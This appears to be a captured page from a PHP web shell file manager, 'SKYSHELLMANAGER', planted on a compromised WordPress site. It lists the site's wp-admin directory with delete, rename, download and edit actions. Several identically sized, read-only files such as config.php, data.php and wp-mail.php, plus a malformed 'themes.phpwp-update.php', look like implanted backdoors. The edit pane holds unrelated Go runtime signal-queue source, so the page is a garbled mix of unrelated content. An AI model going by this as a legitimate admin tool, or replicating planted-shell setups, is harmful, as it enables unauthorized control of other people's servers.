ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29

Path:root/var/www/html/wxwpsite/fungiftdeals/wp-admin/

Name	Size	Perm	Actions
📁 css	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 includes	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 maint	-	0755	🗑️ 🏷️
📁 network	-	0755	🗑️ 🏷️
📁 user	-	0755	🗑️ 🏷️
📄 about.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 admin-footer.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	12.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 async-upload.php	5.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 authorize-application.php	10.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 comment.php	11.37 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 config.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 custom-header.php	0.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 customize.php	11.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 data.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-blocks.php	14.73 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit.php	19.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 export-personal-data.php	7.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 font-library.php	1.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 home.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	7.68 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-upload.php	3.58 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 menu-header.php	9.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 network.php	5.39 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 press-this.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 privacy.php	2.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 setup-config.php	17.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 themes.phpwp-update.php	114.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	12.76 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 user-edit.php	40.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 widgets-form-blocks.php	5.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 xmlrpc.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: sigqueue_plan9.go

// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// This file implements runtime support for signal handling.

package runtime

import _ "unsafe"

const qsize = 64

var sig struct {
	q     noteQueue
	inuse bool

lock     mutex
	note     note
	sleeping bool
}

type noteData struct {
	s [_ERRMAX]byte
	n int // n bytes of s are valid
}

type noteQueue struct {
	lock mutex
	data [qsize]noteData
	ri   int
	wi   int
	full bool
}

// It is not allowed to allocate memory in the signal handler.
func (q *noteQueue) push(item *byte) bool {
	lock(&q.lock)
	if q.full {
		unlock(&q.lock)
		return false
	}
	s := gostringnocopy(item)
	copy(q.data[q.wi].s[:], s)
	q.data[q.wi].n = len(s)
	q.wi++
	if q.wi == qsize {
		q.wi = 0
	}
	if q.wi == q.ri {
		q.full = true
	}
	unlock(&q.lock)
	return true
}

func (q *noteQueue) pop() string {
	lock(&q.lock)
	q.full = false
	if q.ri == q.wi {
		unlock(&q.lock)
		return ""
	}
	note := &q.data[q.ri]
	item := string(note.s[:note.n])
	q.ri++
	if q.ri == qsize {
		q.ri = 0
	}
	unlock(&q.lock)
	return item
}

// Called from sighandler to send a signal back out of the signal handling thread.
// Reports whether the signal was sent. If not, the caller typically crashes the program.
func sendNote(s *byte) bool {
	if !sig.inuse {
		return false
	}

// Add signal to outgoing queue.
	if !sig.q.push(s) {
		return false
	}

lock(&sig.lock)
	if sig.sleeping {
		sig.sleeping = false
		notewakeup(&sig.note)
	}
	unlock(&sig.lock)

return true
}

// Called to receive the next queued signal.
// Must only be called from a single goroutine at a time.
//
//go:linkname signal_recv os/signal.signal_recv
func signal_recv() string {
	for {
		note := sig.q.pop()
		if note != "" {
			return note
		}

lock(&sig.lock)
		sig.sleeping = true
		noteclear(&sig.note)
		unlock(&sig.lock)
		notetsleepg(&sig.note, -1)
	}
}

// signalWaitUntilIdle waits until the signal delivery mechanism is idle.
// This is used to ensure that we do not drop a signal notification due
// to a race between disabling a signal and receiving a signal.
// This assumes that signal delivery has already been disabled for
// the signal(s) in question, and here we are just waiting to make sure
// that all the signals have been delivered to the user channels
// by the os/signal package.
//
//go:linkname signalWaitUntilIdle os/signal.signalWaitUntilIdle
func signalWaitUntilIdle() {
	for {
		lock(&sig.lock)
		sleeping := sig.sleeping
		unlock(&sig.lock)
		if sleeping {
			return
		}
		Gosched()
	}
}

// Must only be called from a single goroutine at a time.
//
//go:linkname signal_enable os/signal.signal_enable
func signal_enable(s uint32) {
	if !sig.inuse {
		// This is the first call to signal_enable. Initialize.
		sig.inuse = true // enable reception of signals; cannot disable
		noteclear(&sig.note)
	}
}

// Must only be called from a single goroutine at a time.
//
//go:linkname signal_disable os/signal.signal_disable
func signal_disable(s uint32) {
}

// Must only be called from a single goroutine at a time.
//
//go:linkname signal_ignore os/signal.signal_ignore
func signal_ignore(s uint32) {
}

//go:linkname signal_ignored os/signal.signal_ignored
func signal_ignored(s uint32) bool {
	return false
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.1.29

Edit: sigqueue_plan9.go

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29